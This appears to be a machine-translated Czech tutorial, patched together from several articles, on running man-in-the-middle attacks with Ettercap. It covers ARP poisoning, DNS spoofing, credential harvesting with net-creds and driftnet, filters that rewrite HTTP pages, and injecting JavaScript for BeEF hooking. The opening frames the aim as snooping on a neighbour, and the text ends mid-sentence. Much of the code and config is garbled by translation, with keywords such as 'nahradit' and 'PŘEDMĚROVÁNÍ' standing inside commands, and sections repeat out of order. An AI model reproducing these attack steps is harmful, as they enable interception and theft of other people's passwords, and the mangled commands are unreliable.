• Ettercap: dovolená ve vaší ulici. Ettercap Instrukce: Man-in-the-Middle (MitM) útok, zachycení hesla, HSTS bypass, falšování dat za běhu, používání vlastních filtrů a pluginů, BeEF hooking, backdoor infekce B hooking

    Rétorika

    Vyhledávání sítí wifi je stejně snadné jako kompilace aplikací ze zdroje v operačním systému Linux. Pokud si chcete ověřit, jak váš soused rozumí počítačové bezpečnosti nebo výpočetní technice obecně. A také se o něm dozvědět trochu víc, než by chtěl. A přitom vám to vlastně sám nabízí díky své negramotnosti. Pak vás žádám, abyste pokračovali dále ve vlnách tohoto popisu.

    Hrdinou tohoto článku bude krátký, ale chytrý a svižný program s názvem . Ve světě Linuxu je velmi běžný a nachází se v repozitářích téměř všech distribucí. Ettercap, jako každý skutečný unixový program má dvě inkarnace: čisté rozhraní příkazového řádku CLI, nezašpiněné všemi druhy tlačítek a píšťalek; těžší, ale pro začátečníky přívětivé grafické GUI (napsané v knihovnách GTK, ale navržené pro práci primárně pod Gnome).

    Pod programem ettercap, kromě toho, že ona sama toho hodně umí, existuje velké množství zásuvných modulů, které její možnosti značně rozšiřují. Používáním ettercap můžete dělat hodně, co chcete.

    Rozhodně, ettercap není jedinou pomůckou svého druhu. Není nic méně slavného a „fantastického“ aircrack-ng. Zde se ale zaměříme na ettercap. A uvidíte proč.

    programová práce ettercap Jako příklad použiji distribuci Blackbuntu. Jedná se o velmi dobrý operační systém pro pentesting, který vůbec "vznikl". Je přepracován a doplněn o potřebné programy a utility Ubuntu (přesněji Ubuntu 10.10). Kdo je tedy zvyklý pracovat s tímto OS, bude se v Blackbuntu cítit ve známém prostředí. Sada programů pro pentesting je téměř stejně dobrá jako známý BackTrack. No a design rozvodnice si zaslouží samostatné téma k diskusi. To jsme však odbočili. Pojďme k programu ettercap.

    Instalace ettercap na Ubuntu

    Spouštění režimu otravy arpem v ettercap

    Zaškrtněte Sniff Remote připojení v dialogovém okně nastavení, které se objeví.

    Sniff Remote v ettercap

    Nyní musíme přejít do nabídky pluginů a vybrat jeden z nich - chk_poison . Práce tohoto pluginu je zřejmá z jeho názvu – kontroluje, zda jsme povolili režim odposlechu otrava arpem. Přejděte do nabídky pluginy - Spravujte pluginy, najděte chk_poison a dvojitým kliknutím jej spusťte.

    Přejděte do správy pluginů v ettercap

    Okno pro správu pluginů v ettercap

    Pokud byl režim odposlechu úspěšně zapnut, měli bychom v okně protokolu vidět následující záznam:

    Aktivace pluginu chk_poison... chk_poison: Tento plugin musíte spustit během relace otravy Sjednocené čichání již začalo...

    Nyní se můžete uvolnit a sledovat, jak proces čichání probíhá. Přejděte do nabídky Pohled - Spojení a uvidíme, co máme.

    Proces čichání v ettercap

    Jak vidíte okno Spojení docela informativní. Zobrazí se IP adresy strojů, jejich stav, počet bajtů přenesených mezi každým z nich. Pokud chceme vidět podrobnější informace (co se přenáší), vyberte řádek ze seznamu a poklepáním jej otevřete. Objeví se samostatné okno zobrazující pakety zachycené mezi těmito stroji.

    Ettercap nakonfigurován tak, aby automaticky zachytil a uložil hesla a přihlašovací údaje přenášené přes místní síť. Zbývá jen chvíli počkat.

    Pokud se vám tento článek líbil, sdílejte jej se svými přáteli:

    OS použitý v příkladech je Ubuntu 14.04. Významná část výše uvedených operací vyžaduje práva superuživatele a obslužné programy to tak či onak hlásí, pokud nemají dostatečná oprávnění. Budeme předpokládat, že všechny příkazy jsou prováděny jménem superuživatele.

    otrava ARP (spoofing)

    Jaké jsou možnosti ARP-spoofingu?

    DNS spoofing

    Zvažte falšování DNS, doporučení proti hostiteli, která požadují server DNS. Poté, co jsme dříve provedli falšování ARP, zachytíme odpovědi serveru DNS, pokud budou splňovat naše pravidla pro nahrazení, a poté je nahradíme. Používáme ettercap.

    1. Upravte pravidla přesměrování v souboru:

    /etc/ettercap/etter.dns

    Například přesměrovat požadavky na google.com na místní adresu 192.168.1.34 .

    google.com A 192.168.1.34
    *. google.com A 192.168.1.34
    www.google.com PTR 192.168.1.34
    2. Spusťte příkaz ettercap pro zfalšování odpovědí serveru DNS:
    -P dns_spoof - použijte plugin dns_spoof:

    ettercap -Tq -i wlan0 -P dns_spoof-M arp :dálkový // 192.168.1.1 // // 192.168.1.44 //

    Po spuštění ettercap můžete také aktivovat plugin dns_spoof. Jak to udělat, vás vyzve nabídka ettercap, kterou lze zobrazit stisknutím klávesy h za běhu programu.
    Pokud se pokusíte vstoupit ze stroje google.com pak výstup bude vypadat takto:

    <...>
    Aktivace pluginu dns_spoof...

    dns_spoof: podvržený

    Odpovědi na požadavek google.com jsou nahrazeny podle pravidel, zatímco ostatní jsou vráceny beze změny.



    192.168.1.1 - router, 192.168.1.44 - napadený hostitel, 192.168.1.34 - IP google.com po spoofingu.

    Tento typ útoku lze použít k přesměrování útočníka na stránku se škodlivým kódem (Metasploit Browser Autopwn) pro další průnik.

    lepší čepice
    Bettercap funguje podobně, cílová IP adresa (-T ) je volitelný parametr:

    lepší čepice--dns dns.conf

    Obsah souboru, který popisuje pravidla nahrazování, je popsán ve formě regulárních výrazů. Například

    192.168.1.2 .* # nahradí jakoukoli adresu 192.168.1.2

    dopravní dumping

    tcpdump -i rozhraní -w soubor k zápisu

    tcpdump -i wlan0 -w dump.pcap

    Chcete-li zaznamenávat pouze zachycený provoz, musíte použít filtr IP (v případě potřeby přidat port přístav ):

    tcpdump -i wlan0 -w dump.pcap hostitel 192.168.1.36 a přístav 80
    src , dst , hostitel - filtrovat podle IP odesílatele, příjemce nebo příjemců nebo odesílatele paketu.
    src a dst se používají a pro specifikaci zdrojového a cílového portu se používají logické operátory pro komplexní filtr nebo , a A ne (|| , && A ! ).

    Ettercap je nástroj pro analýzu síťového provozu procházejícího přes počítačové rozhraní, ale s dalšími funkcemi. Program umožňuje provádět útoky typu man-in-the-middle, aby přinutil jiný počítač, aby posílal pakety nikoli směrovači, ale vám.

    Pomocí Ettercap můžete zkontrolovat zabezpečení vaší sítě, jak je náchylná k těmto typům útoků, a také analyzovat provoz z více počítačů a dokonce jej za běhu upravovat. V tomto článku se podíváme na to, jak používat Ettercap k analýze a úpravě provozu.

    Co je muž ve středním útoku?

    Ve výchozím nastavení posílá počítač všechny síťové pakety, které je třeba odeslat do Internetu, směrovači, který je zase posílá do dalšího směrovače, dokud paket nedorazí do cíle. Ale z určitých důvodů nemusí být paket přenesen do routeru, ale okamžitě do vašeho počítače a teprve poté do routeru.

    Počítač, kterým budou pakety procházet, může analyzovat zdrojovou, cílovou adresu, a pokud nejsou zašifrovány, tak i jejich úplný obsah.

    Existují dva způsoby, jak provést MITM (Man In Middle Attack):

    • ARP útok- pomocí funkcí protokolu ARP váš počítač ostatním řekne, že se jedná o router, načež se mu začnou oddávat všechny pakety;
    • DNS útok- když se počítač pokouší získat ip adresu pro doménu, nahradíme tuto adresu vlastní, ale aby tento typ fungoval, musíte použít metodu ARP.

    Program Ettercap Linux je schopen provádět oba typy útoků. Kromě toho může nástroj provádět útoky typu denial-of-service a skenování portů. Nyní se podívejme, jak se Ettercap instaluje a používá.

    Instalace Ettercap

    Jedná se o poměrně populární program mezi specialisty na síťovou bezpečnost, takže je v oficiálních repozitářích většiny distribucí. Chcete-li například nainstalovat Ettercap na Ubuntu, spusťte:

    $ sudo apt install ettercap-gtk

    Na Fedoře nebo jiných distribucích na ní založených bude příkaz vypadat nějak takto:

    $ sudo yum nainstalovat ettercap-gtk

    S úkolem, jak nainstalovat Ettercap Linux, jsme si poradili, ale před jeho použitím musíme změnit několik nastavení v konfiguračním souboru.

    $ sudo vi /etc/ettercap/etter.conf

    Řetězce ec_uid a ec_gid musí být nastaveny na 0, aby programová služba běžela jako superuživatel:


    ec_uid = 0 # Nikdo je výchozí
    ec_gid = 0 # Nikdo je výchozí

    redir_command_on = "iptables -t nat -A PŘEDMĚROVÁNÍ -i %iface -p tcp --dport %port -j PŘESMĚROVÁNÍ --to-port %rport"
    redir_command_off = "iptables -t nat -D PŘEDMĚROVÁNÍ -i %iface -p tcp --dport %port -j PŘESMĚROVÁNÍ --to-port %rport"

    Používají se k přesměrování připojení SSL na běžný HTTP, pokud je to možné. Poté změny uložte a program je připraven k práci.

    Pomocí GUI Ettercap

    Program může pracovat v několika režimech - s grafickým rozhraním, bez a jako služba. Budeme uvažovat o práci v grafickém rozhraní. Chcete-li spustit program s rozhraním GTK, použijte volbu -G:

    $ sudo -E ettercap -G

    Útok otravy ARP v Ettercapu

    Jak jsem řekl, tímto útokem můžeme donutit cílový počítač, aby posílal pakety nikoli směrovači, ale nám. Vše funguje naprosto jednoduše. Počítač zná IP routeru, obdržel ji při připojení k síti. Ale pokaždé, když potřebuje poslat paket, potřebuje přeložit tuto obecnou IP adresu na nízkoúrovňovou adresu síťové technologie používané například pro kabelový internet, to je MAC adresa.

    K tomu se používá protokol ARP. Počítač odešle všem zařízením v síti požadavek, například „kdo je 192.168.1.1“ a router, když uvidí jeho adresu, odešle jako odpověď svou MAC. Poté bude uložen do mezipaměti. Můžeme však pomocí Ettercap požádat cílový počítač, aby aktualizoval svou mezipaměť ARP a předal mu vlastní MAC adresu místo MAC adresy routeru. Poté nám budou zaslány všechny balíčky a my je zašleme tam, kde to bude nutné.

    Pojďme se pustit do práce a provést attercap arp spofing útok. V Ettercap otevřete nabídku čichat a vyberte jednotné čichání. Poté vyberte své síťové rozhraní, například eth0 nebo wlan0:

    Změní se okno programu a zpřístupní se nám mnohem více funkcí. Nyní musíte prohledat síť. Chcete-li to provést, otevřete nabídku hostitelé a stiskněte Skenovat hostitele. I když něco nefunguje, můžete načíst seznam hostitelů ze souboru:

    Pro zahájení útoku musíme zadat cíl 1 a cíl 2. Jako první cíl musíme zadat ip stroje, na který budeme útočit, a jako cíl 2 ip routeru. Pomocí tlačítek přidejte cíle. Přidat cíl 1 A Přidat cíl 2:

    V okně, které se otevře, zaškrtněte políčko Očichněte vzdálená připojení k zachycení všech vzdálených připojení z tohoto počítače:

    Nyní spusťte proces nahrazování v nabídce Start vybrat Začněte čichat.

    Poté program začne posílat pakety do sítě a požádá 192.168.1.3 o aktualizaci mezipaměti ARP a nahrazení MAC adresy routeru vaší. Útok byl zahájen a úspěšně běží. Můžete otevřít nabídku Pohled -> Spojení a podívejte se na aktivní připojení pro cílové zařízení:

    Pokud paket nebyl zašifrován, pak si můžeme zobrazit přenášené informace kliknutím na spojení myší. Odeslané informace jsou zobrazeny vlevo a přijaté informace jsou zobrazeny vpravo:

    DNS spoofing útok s Ettercap

    K převodu názvů stránek na síťové IP adresy se používá speciální služba DNS. Když počítač potřebuje IP stránky, požádá o ni server DNS. Ale pokud již provádíte útok MITM, pak můžeme nahradit odpověď serveru tak, že místo IP serveru webu se vrátí naše IP. Nejprve musíme upravit soubor /etc/ettercap/etter.dns:

    $ sudo vi /etc/ettercap/etter.dns

    google.com.ua A 127.0.0.1

    Tento záznam znamená, že změníme hlavní IP adresu google.com.ua na 127.0.0.1. Všimněte si, že tento útok není proveden bez předchozího. Dále otevřete nabídku pluginy -> Spravovat pluginy:

    Poté dvakrát klikněte na plugin dns_spoof:

    Plugin bude aktivován a můžete zkontrolovat IP na zařízení. DNS se skutečně nahrazuje. Můžete například spustit na cílovém počítači:

    $ ping google.com.ua

    $ ping www.ettercap.org

    Kromě těchto pluginů existují další, pomocí kterých můžete provádět požadované akce.

    Filtry Ettercap

    Filtry umožňují upravovat pakety procházející programem za běhu. Balíčky můžete zahodit nebo v nich provést potřebné změny pomocí funkce nahradit. Filtry také fungují pouze při spuštěném útoku MITM. Syntaxe podmínek, podle kterých budeme filtrovat pakety, je velmi podobná wireshark. Podívejme se na jednoduchý filtr, který nahradí všechny obrázky našimi:

    $ vi test.filtr

    if (ip.proto == TCP && tcp.dst == 80) (
    if (search(DATA.data, "Accept-Encoding")) (
    nahradit("Přijmout-kódování", "Přijmout-odpad!");
    # poznámka: náhradní řetězec má stejnou délku jako původní řetězec
    msg("přerušeno Accept-Encoding!\n");
    }
    }
    if (ip.proto == TCP && tcp.src == 80) (
    nahradit("img src="/, "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
    nahradit("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
    msg("Spustit filtr.\n");
    }

    Pro ty, kteří měli zkušenosti s programovacími jazyky, by zde mělo být vše jasné. Pokud je protokol TCP a cílový port je 80, stále hledáme a hledáme Accept-Encoding. Potom toto slovo nahradíme jakýmkoli jiným, ale ekvivalentním délkou. Protože pokud prohlížeč pošle Accept-Encoding gzip, tak se data zkomprimují a nic tam filtrovat nebudeme. Dále v odpovědi serveru, zdrojový port 80, nahradíme všechny obrázky našimi. Nyní je potřeba filtr zkompilovat:

    $ etterfilter test.filtr -o test.ef

    Zbývá načíst filtr pomocí nabídky Filtry -> Načíst filtr:

    Vyberte soubor filtru v systému souborů:

    Filtr se načte a můžete otevřít jakýkoli web, který nepoužívá https, abyste se ujistili, že vše funguje. Chcete-li zastavit útok MITM, otevřete nabídku MITM a vyberte Zastavte všechny Mitmovy útoky. Náš průvodce Ettercap se chýlí ke konci, ale...

    Jak se chránit?

    Pravděpodobně vás po přečtení článku napadá rozumná otázka, jak chránit počítač před tímto typem útoku? K tomu existuje několik nástrojů, včetně operačního systému Linux:

    • xArp- grafický nástroj, který dokáže detekovat pokusy o podvržení MAC adres prostřednictvím protokolu ARP a čelit tomu. Může pracovat v systémech Windows a Linux;
    • Šňupat- poměrně známý systém proti vniknutí, mimo jiné detekuje útoky na protokol ARP;
    • ArpON- malá služba, která monitoruje tabulku ARP a chrání ji před podvržením MAC adres.

    Používejte program pouze k testování bezpečnosti vašich sítí nebo aplikací a nezapomeňte, že trestné je i nezákonné jednání v informačním prostoru.

    Na konci videa s ukázkou programu:

    musíte se zaregistrovat,
    abyste mohli zanechat komentář

    Alternativy Ettercap

    Ettercap je nejoblíbenější program pro útoky typu man-in-the-middle, ale je nejlepší? V celém manuálu uvidíte, že Ettercap se téměř nikdy nepoužívá samostatně, že ten či onen program je s ním vždy seřazen v řetězci zpracování provozu. Možná to přidává flexibilitu, obecně je tento přístup jádrem UNIXu - jeden program provádí jeden úkol a koncový uživatel kombinuje různé programy, aby dosáhl požadovaného výsledku. S tímto přístupem se programový kód snadněji udržuje, takové miniaturní „cihly“ lze použít k sestavení systému jakékoli složitosti a flexibility. Nicméně mít pět otevřených konzol s různými úkoly, jejichž práce je zaměřena na dosažení jednoho jediného výsledku, není příliš pohodlné, je to jen obtížnější, v určité fázi existuje možnost udělat chybu a celý nakonfigurovaný systém poběží naprázdno.

    Net-Creds čichá:

    • Navštívené adresy URL
    • odeslané požadavky POST
    • přihlašovací údaje/hesla z formulářů HTTP
    • přihlašovací jména/hesla pro základní HTTP autentizaci
    • HTTP vyhledávání
    • FTP přihlašovací údaje/hesla
    • IRC přihlašovací údaje/hesla
    • POP přihlášení/hesla
    • IMAP přihlašovací údaje/hesla
    • Telnet přihlášení/hesla
    • Přihlašovací údaje/hesla SMTP
    • Řetězec komunity SNMP
    • všechny podporované protokoly NTLMv1/v2 jako HTTP, SMB, LDAP atd.
    • Kerberos

    Dobrý výběr zachycených snímků a driftnet je v tomto ohledu jednodušší – zobrazuje pouze zachycené snímky.

    Přepněte stroj do režimu přesměrování.

    echo "1" > /proc/sys/net/ipv4/ip_forward

    Spustíme Ettercap s grafickým rozhraním ( -G):

    Ettercap-G

    Nyní si vyberte hostitelé, má pododstavec Vyhledejte hostitele. Po dokončení skenování vyberte seznam hostitelů:

    Tak jako Cíle 1 vyberte router ( Přidat k cíli 1), tak jako Cíle 2 vyberte zařízení, na které chcete zaútočit ( Přidat do cíle 2).

    Zde však může nastat první zádrhel, zvláště pokud je hostitelů mnoho. V různých návodech včetně výše prezentovaného videa autoři lezou do cílového stroje (z nějakého důvodu tam mají Windows všichni) a pomocí příkazu se podívají na IP tohoto stroje v lokální síti. Souhlasím, tato možnost je pro reálné podmínky nepřijatelná.

    Pokud skenujete pomocí, můžete získat další informace o hostitelích, přesněji o výrobci síťové karty:

    nmap -sn 192.168.1.0/24

    Pokud data stále nestačí, můžete provést skenování s definicí OS:

    nmap -O 192.168.1.0/24

    Jak vidíte, stroj s IP 192.168.1.33 se ukázal být Windows, pokud to není znamení shora, co to je? 😉 lol

    To jsme přidali jako druhý cíl.

    Nyní přejdeme k položce nabídky. Mitm. Tam vyberte Otrava ARP… Zaškrtněte políčko Očichněte vzdálená připojení.

    Začínáme sklízet, v jednom okně spustíme

    Čisté kredity

    v jiném (oba programy lze spustit bez možností)

    unášená síť

    Sběr dat začal okamžitě.

    Na pravé straně driftnet otevřel další okno, které ukazuje zachycené obrázky. V okně net-cred vidíme navštívené stránky a zachycená hesla:

    1.2 Ettercap + Burp Suite

    3. Zobrazení dat (navštívené webové stránky a zachycená hesla) v Ettercap

    V nabídce Pohled máme k dispozici karty Spojení A profily. Můžete také zaškrtnout políčko Vyřešte IP adresy(přeložit IP adresy). Spojení jsou samozřejmě spojení. Ettercap shromažďuje profily v paměti pro každého hostitele, kterého objeví. Shromažďují se tam uživatelé a hesla. V tomto případě jsou profily se zachycenými daty účtů (hesly) označeny křížkem:

    Na profily se příliš nespoléhejte – označují se například zachycená přihlašovací jména a hesla k FTP a dalším službám, u kterých může program přijaté informace jednoznačně interpretovat jako přihlašovací údaje. Nepatří sem například základní autentizační údaje, zadané loginy a hesla ve webových formulářích.

    V Connections jsou nejslibnější data označena hvězdičkou:

    Dvojitým kliknutím na tyto položky zobrazíte podrobnosti:

    Abyste tyto hvězdy nehledali v celém seznamu, můžete je seřadit podle tohoto pole a všechny budou nahoře nebo dole:

    Zachyceno základní ověření:

    Přihlašovací heslo pro Yandex (zvýrazněné níže):

    Toto jsou zachycené přihlašovací údaje pro Vkontakte:

    Nejzajímavější data se také shromažďují ve spodní konzoli:

    Chcete-li uložit výsledky programu, použijte tyto možnosti (při spouštění Ettercap zadejte klíče:

    Možnosti protokolování: -w, --write<файл>zapisovat zachycená data do pcapfile<файл>-L, --log<логфайл>napište sem veškerý provoz<логфайл>-l, --log info<логфайл>pište do toho pouze pasivní informace<логфайл>-m, --log-msg<логфайл>pište sem všechny zprávy<логфайл>-c, --compress používá kompresi gzip pro soubory protokolu

    4. Výměna dat za běhu v Ettercap

    4.1 Použití uživatelských filtrů Ettercap

    Poznámka: Při všech mých testech filtry Ettercap nefungovaly. Je těžké pochopit, zda je to v rukou, v hardwarových funkcích nebo v chybě v samotném programu... Ale pro verzi 0.8.2 (aktuálně nejnovější) existuje hlášení o problémech s filtry. Obecně, soudě podle hlášení o chybách a fór, filtry buď často padají, nebo po dlouhou dobu nefungují vůbec. Existuje větev, která byla upravena před 5 měsíci https://github.com/Ettercap/ettercap/tree/filter-improvements, tzn. vylepšení filtrů (s vylepšeními filtrů). Pro tuto větev a pro verzi z úložiště byla provedena široká škála testů, různé filtry byly testovány v různých podmínkách, bylo vynaloženo mnoho času, ale bez výsledku. Mimochodem, chcete-li nainstalovat verzi vylepšení filtrů v Kali Linuxu, musíte provést toto:

    sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev liblulibajnet-5.1-dev-dev-libde libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir ENDOABLE build cd =On ../ make sudo make install

    Obecně platí, že pokud vaše filtry nefungují, nejste sami. V návodu k Ettercapu nemohu přeskočit téma filtrů, takže se s nimi bude stejně počítat.

    Doposud jsme pro ARP spoofing používali Ettercap. Jedná se o velmi povrchní aplikaci. Díky vlastním filtrům můžeme zasahovat a měnit provoz za chodu. Filtry musí být obsaženy v samostatných souborech a před použitím musí být zkompilovány pomocí programu Etterfilter. Ačkoli se dokumentace, na kterou je uveden odkaz, zdá být krátká, ale ve spojení s níže uvedenými příklady vám umožní psát docela zajímavé filtry.

    Vytvořme náš první filtr, nahradí všechny obrázky tímto:

    V souboru s názvem img_replacer.filter zkopírujte:

    If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( nahradit("Accept-Encoding", "Accept-Rubbish!"); # poznámka: náhradní řetězec má stejnou délku jako původní msg("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( nahradit("src=" , " src=\"http://www.irongeek.com/images/jollypwn.png\" "); nahradit("SRC=", "src=\"http://www.irongeek.com/images/ jollypwn. png\" "); nahradit("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); nahradit("SRC=", "src= \" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filtr Ran.\n"); )

    Zkompilujte soubor:

    Etterfilter img_replacer.filter -o img_replacer.ef

    Výsledky kompilace:

    Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team Načteno 14 tabulek protokolů: DEKODOVANÁ DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth Načteno 13 konstant: VRRP OSPF GRE UDP TCP ESP Parsing zdrojový soubor APP6 IPPP IPPP ICMPE ICMP "img_replacer.filter" hotovo. Rozložení metastromu hotovo. Převod štítků na skutečné offsety hotovo. Zápis výstupu do "img_replacer.ef" je hotový. -> Skript zakódovaný do 18 instrukcí.

    Klíč -Fříká programu, aby načetl filtr ze souboru, který následuje za klíčem. Po kompilaci je název našeho nového souboru s filtrem img_replacer.ef, takže příkaz bude:

    Ettercap -G -F img_replacer.ef

    Poznámka Odpověď: Když sledujete webový provoz, pakety, které vidíte, mohou být v zakódované podobě. Aby filtry fungovaly efektivně, potřebuje Ettercap provoz v prostém textu. Podle některých pozorování je typ kódování, který webové stránky používají, "Accept-Encoding: gzip, deflate"

    Níže je uveden filtr, který přepíše kódování a vynutí komunikaci ve formě prostého textu:

    If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( nahradit("gzip", " "); # poznámka: čtyři mezery v řetězci msg pro nahradit ("vybělený gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (hledat(DATA.data, "vypustit")) ( nahradit("vypustit", " "); # poznámka: sedm mezer v náhradním řetězci msg("vyběleno deflate\n"); ) )

    Podrobně je popsána syntaxe pro zápis filtrů a poté několik dalších příkladů:

    # nahradit text v paketu: if (ip.proto == TCP && search(DATA.data, "lol"))( nahradit("lol", "smh"); msg("filtr běžel"); ) # zobrazit zprávu if tcp port je 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH paket\n"); ) ) # zaznamenat veškerý provoz telnet , také spustit ./program na paket if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./logfile.log ") ; exec("./program"); ​​​​) ) # protokolovat veškerý provoz kromě http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log(DATA.data, "./logfile.log"); ) # některé operace užitečného zatížení paketů if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) jinak ( DATA.data = "upraveno"; DATA .data + 20 = 0x4445; ) # zahodit všechny pakety obsahující "ettercap" if (search(DECODED.data, "ettercap")) ( msg("někdo o nás mluví...\n"); drop( ); kill( ); ) # zápis dešifrovaných paketů ssh vyhovujících regulárnímu výrazu if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) # zabíjení paketů if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

    4.2 Spoofing dat pomocí Burp

    Spustíme Ettercap a Burp, jak je popsáno v odstavci 1.2 nebo v odstavci 2.2.

    V Burpu přejděte na Proxy -> Možnosti. Najdeme tam Přiřaďte a nahraďte. Klikněte Přidat přidat nové pravidlo.

    • Záhlaví požadavku je hlavička požadavku
    • tělo žádosti- tělo žádosti
    • hlavička odpovědi- hlavička odpovědi
    • tělo odpovědi- tělo odpovědi
    • Název parametru požadavku- Název parametru dotazu
    • Požadavek na hodnotu parametru- Požadovat hodnotu parametru
    • Vyžádejte si první řádek- První řádek dotazu

    Pokud potřebujete změnit data přenášená metodou GET, pak to platí pro hlavičky.

    V HTML značkách existuje také něco jako head (tag head). Výše uvedené nemají s tímto nadpisem nic společného. O něco výše se hovoří o hlavičkách paketů. Pokud chcete změnit obsah HTML stránky, měli byste vždy zvolit Response body místo Request header, i když se chystáte změnit obsah tagu head (například nadpis).

    Pokud se nevyznáte v regulárních výrazech, pak je to v zásadě v pořádku: HTML hodně odpustí, a čemu nerozumí, jednoduše ignoruje - můžete to použít. Pokud umíš používat regulární výrazy, tak tě respektuji.)))

    Vytvořme například nové pravidlo, změňme hlavičku požadavku na Response body. V samotném pravidle se změníme

    .*<\/title> </p><p> <title>bez názvu

    Zaškrtněte políčko Regulární shoda.

    Nyní na všech webech (bez HTTPS) místo názvu bude No Title:

    Za značku body vložte libovolný řádek (bude to první řádek v textu). Hlavička požadavku se změní na tělo odpovědi. Měníme se

    Zaškrtněte políčko Regulární shoda.

    V pravém horním rohu (v závislosti na rozvržení) se objeví nápis "I am cool!". Můžete vložit CSS, JavaScript kód, jakýkoli text – cokoliv. Obecně můžete ze stránky smazat vše a poté ji naplnit vlastním obsahem - vše závisí na vaší fantazii.

    Vznikl nápad mírně upravit každý formulář tak, aby se data posílala na původní server a na server útočníka (pro každý formulář implementujte vícenásobné odeslání). Ale když si zdůvodníme, že pokud přenášená data nejsou zašifrovaná a máme k nim přístup, tak je stejně vidíme, nemusíme je posílat na žádný server. Nicméně, pokud to někdo potřebuje, opravdu fungující příklad odesílání dat z jednoho formuláře na několik serverů najednou.

    5. BeEF připojení

    Chcete-li začít používat funkce BeEF, musíme do kódu HTML vložit soubor JavaScript, obvykle řádek jako: